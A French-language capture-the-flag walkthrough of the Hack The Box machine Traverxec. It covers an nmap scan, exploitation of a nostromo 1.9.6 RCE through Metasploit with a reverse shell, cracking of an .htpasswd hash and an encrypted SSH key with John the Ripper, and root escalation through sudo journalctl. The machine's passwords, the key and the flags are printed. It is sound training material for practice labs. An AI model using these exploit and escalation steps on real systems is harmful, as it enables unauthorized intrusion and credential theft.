On se retrouve aujourd’hui pour le walkthrough de la machine « Traverxec » d’Hack The Box. C’est une box très accessible et intéressante, parfaite pour un débutant (comme moi).
Première approche
Comme d’habitude, on commence par faire un scan des ports avec nmap.
On utilise ici les options -A pour la détection de l’os et des versions des services, -p- pour scanner tous les ports (et non uniquement les 1000 ports les plus communs) et -T4 pour régler la politique de temporisation (de 0 à 5, du moins rapide au plus rapide).
$ nmap -A -p- -T4 10.10.10.165
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-19 12:42 CEST
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.35% done
Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.45% done
Nmap scan report for 10.10.10.165
Host is up (0.034s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Crestron XPanel control system (90%), Linux 3.18 (89%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 33.10 ms 10.10.14.1
2 33.73 ms 10.10.10.165
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.20 seconds
On remarque un serveur web en HTTP (port 80). On peut commencer par aller y faire un tour.
Rien d’intéressant ici.
Nostromo exploit
On remarque alors un serveur web que l’on a pas l’habitude de voir.
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Après une rapide recherche (de type “nostromo 1.9.6 exploit”), on se rend compte qu’il existe une CVE pour cette version de nostromo, avec à la clé une RCE (Remote Code Execution), et un exploit déjà implémenté dans Metasploit.
On lance alors une console msf et on on essaie cet exploit.
msf5 > search nostromo
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nostromo_code_exec 2019-10-20 good Yes Nostromo Directory Traversal Remote Command Execution
msf5 > use 0
msf5 exploit(multi/http/nostromo_code_exec) > options
Module options (exploit/multi/http/nostromo_code_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 10.10.10.165
RHOSTS => 10.10.10.165
msf5 exploit(multi/http/nostromo_code_exec) > set lhost tun0
lhost => 10.10.14.24
msf5 exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on 10.10.14.24:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.14.24:4444 -> 10.10.10.165:50640) at 2020-04-19 13:07:46 +0200
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell
[*] Trying to find binary(python) on target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/usr/bin
On a alors un shell en tant que “www-data”. On va alors lister les users via le fichier /etc/passwd.
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
david:x:1000:1000:david,,,:/home/david:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
On va donc chercher dans un premier temps à s’identifier en tant que “david”.
Own user
On peut alors commencer les recherches. On finit par trouver le dossier /var/nostromo qui sera surement intéressant.
$ cd /var/nostromo
$ ls -al
total 24
drwxr-xr-x 6 root root 4096 Oct 25 14:43 .
drwxr-xr-x 12 root root 4096 Oct 25 14:43 ..
drwxr-xr-x 2 root daemon 4096 Oct 27 16:12 conf
drwxr-xr-x 6 root daemon 4096 Oct 25 17:11 htdocs
drwxr-xr-x 2 root daemon 4096 Oct 25 14:43 icons
drwxr-xr-x 2 www-data daemon 4096 Apr 19 06:01 logs
$ cd conf
$ ls -al
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27 16:12 .
drwxr-xr-x 6 root root 4096 Oct 25 14:43 ..
-rw-r--r-- 1 root bin 41 Oct 25 15:20 .htpasswd
-rw-r--r-- 1 root bin 2928 Oct 25 14:26 mimes
-rw-r--r-- 1 root bin 498 Oct 25 15:20 nhttpd.conf
$ cat .htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
On copie le contenu de .htpasswd sur notre machine (ici dans le fichier “david.hash”) et on peut ainsi essayer de trouver le mot de passe avec la fameuse wordlist rockyou et John the Ripper.
$ john --wordlist=/root/Bureau/rockyou.txt --pot=david_passwd david.hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for statusc
Nowonly4me (david)
1g 0:00:01:00 DONE (2020-04-19 14:39) 0.01660g/s 175633p/s 175633c/s 175633C/s Noyoo..Noury
Use the "--show" option to display all of the cracked passwords reliably
Session completed
On trouve donc le mot de passe “Nowonly4me”. On essaie de faire un “su david” avec ce mot de passe mais c’est un échec : on va continuer à chercher.
On s’intéresse alors au fichier “nhttpd.conf”, toujours dans le même dossier.
$ cat nhttpd.conf
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
On peut alors penser à explorer le répertoire /home/david/public_www, si on en a le droit.
$ cd /home/david/public_www
$ ls -al
total 16
drwxr-xr-x 3 david david 4096 Oct 25 15:45 .
drwx--x--x 5 david david 4096 Oct 25 17:02 ..
-rw-r--r-- 1 david david 402 Oct 25 15:45 index.html
drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area
$ cd protected-file-area
$ ls -al
total 16
drwxr-xr-x 2 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 david david 4096 Oct 25 15:45 ..
-rw-r--r-- 1 david david 45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25 17:02 backup-ssh-identity-files.tgz
$ cat .htaccess
cat .htaccess
realm David's Protected File Area. Keep out!
Bingo. Ce backup de clé ssh est surement la clé pour se connecter en tant que david (via ssh, du coup). On va décompresser l’archive dans /tmp.
$ tar -zxvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keyschome/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
Si nous avons bien accès au fichier “home/david/.ssh/id_rsa”, nous pourrons nous connecter en tant que david via ssh.
$ cat home/david/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----
On copie alors le fichier “id_rsa” sur notre machine et on va encore une fois utiliser sh2john et john avec rockyou pour trouver la passphrase qui nous permettra de nous connecter via ssh.
$ locate ssh2john.py
/usr/share/john/ssh2john.py
$ /usr/share/john/ssh2john.py id_rsa > key.hash
$ john --wordlist=/root/Bureau/rockyou.txt key.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2020-04-19 15:26) 0.2617g/s 3754Kp/s 3754Kc/s 3754KC/s *7¡Vamos!
Session completed
On va donc se connecter en tant que david via ssh avec notre fichier id_rsa et la passphrase “hunter”.
$ ssh -i id_rsa david@10.10.10.165
Enter passphrase for key 'id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Sun Apr 19 09:33:37 2020 from 10.10.15.75
david@traverxec:~$ ls -al
total 36
drwx--x--x 5 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 root root 4096 Oct 25 14:32 ..
lrwxrwxrwx 1 root root 9 Oct 25 16:15 .bash_history -> /dev/null
-rw-r--r-- 1 david david 220 Oct 25 14:32 .bash_logout
-rw-r--r-- 1 david david 3526 Oct 25 14:32 .bashrc
drwx------ 2 david david 4096 Oct 25 16:26 bin
-rw-r--r-- 1 david david 807 Oct 25 14:32 .profile
drwxr-xr-x 3 david david 4096 Oct 25 15:45 public_www
drwx------ 2 david david 4096 Oct 25 17:02 .ssh
-r--r----- 1 root david 33 Oct 25 16:14 user.txt
david@traverxec:~$ cat user.txt
7db0b48469606a42cec20750d9782f3d
Nous voilà bien connectés en tant que david, on récupère ainsi le flag user.
Own root
L’heure est à la privilege escalation. On va commencer par explorer le home de david. On remarque un dossier bin, allons y faire un tour.
david@traverxec:~$ ls -al
total 36
drwx--x--x 5 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 root root 4096 Oct 25 14:32 ..
lrwxrwxrwx 1 root root 9 Oct 25 16:15 .bash_history -> /dev/null
-rw-r--r-- 1 david david 220 Oct 25 14:32 .bash_logout
-rw-r--r-- 1 david david 3526 Oct 25 14:32 .bashrc
drwx------ 2 david david 4096 Oct 25 16:26 bin
-rw-r--r-- 1 david david 807 Oct 25 14:32 .profile
drwxr-xr-x 3 david david 4096 Oct 25 15:45 public_www
drwx------ 2 david david 4096 Oct 25 17:02 .ssh
-r--r----- 1 root david 33 Oct 25 16:14 user.txt
david@traverxec:~$ cd bin
david@traverxec:~/bin$ ls -al
total 16
drwx------ 2 david david 4096 Oct 25 16:26 .
drwx--x--x 5 david david 4096 Oct 25 17:02 ..
-r-------- 1 david david 802 Oct 25 16:26 server-stats.head
-rwx------ 1 david david 363 Oct 25 16:26 server-stats.sh
On remarque alors un petit script en bash sur lequel nous avons les droits d’exécution. On peut alors le lancer puis regarder ce qu’il y a à l’intérieur.
david@traverxec:~/bin$ ./server-stats.sh
.----.
.---------. | == |
Webserver Statistics and Data |.-"""""-.| |----|
Collection Script || || | == |
(c) David, 2019 || || |----|
|'-.....-'| |::::|
'"")---(""' |___.|
/:::::::::::\" "
/:::=======:::\
jgs '"""""""""""""'
Load: 10:11:05 up 38 min, 2 users, load average: 0.00, 0.00, 0.00
Open nhttpd sockets: 1
Files in the docroot: 117
Last 5 journal log lines:
-- Logs begin at Sun 2020-04-19 09:32:57 EDT, end at Sun 2020-04-19 10:11:05 EDT. --
Apr 19 09:52:51 traverxec sudo[7662]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/5 ruser=www-data rhost= user=www-data
Apr 19 09:52:53 traverxec sudo[7662]: pam_unix(sudo:auth): conversation failed
Apr 19 09:52:53 traverxec sudo[7662]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Apr 19 09:52:53 traverxec sudo[7662]: www-data : command not allowed ; TTY=pts/5 ; PWD=/usr/bin ; USER=root ; COMMAND=list
Apr 19 09:52:54 traverxec crontab[7752]: (www-data) LIST (www-data)
david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
On remarque alors une commande exécutée avec sudo.
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
Sur GTFObins (https://gtfobins.github.io/gtfobins/journalctl/), on trouve que l’on peut avoir un shell avec journalctl en tappant “!/bin/sh” pendant l’exécution (comme avec “less” ou “more”). On essaie alors ceci en enlevant le “/usr/bin/cat” de la commande.
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Sun 2020-04-19 09:32:57 EDT, end at Sun 2020-04-19 10:50:16 EDT. --
Apr 19 09:52:51 traverxec sudo[7662]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/5 ruse
Apr 19 09:52:53 traverxec sudo[7662]: pam_unix(sudo:auth): conversation failed
Apr 19 09:52:53 traverxec sudo[7662]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Apr 19 09:52:53 traverxec sudo[7662]: www-data : command not allowed ; TTY=pts/5 ; PWD=/usr/bin ; USER=root ; COMMAND=list
Apr 19 09:52:54 traverxec crontab[7752]: (www-data) LIST (www-data)
!/bin/sh
# ls
server-stats.head server-stats.sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
9aa36a6d76f785dfd320a478f6e0d906
Et voilà notre flag root : challenge terminé. Merci d’avoir suivi cet article et à bientôt !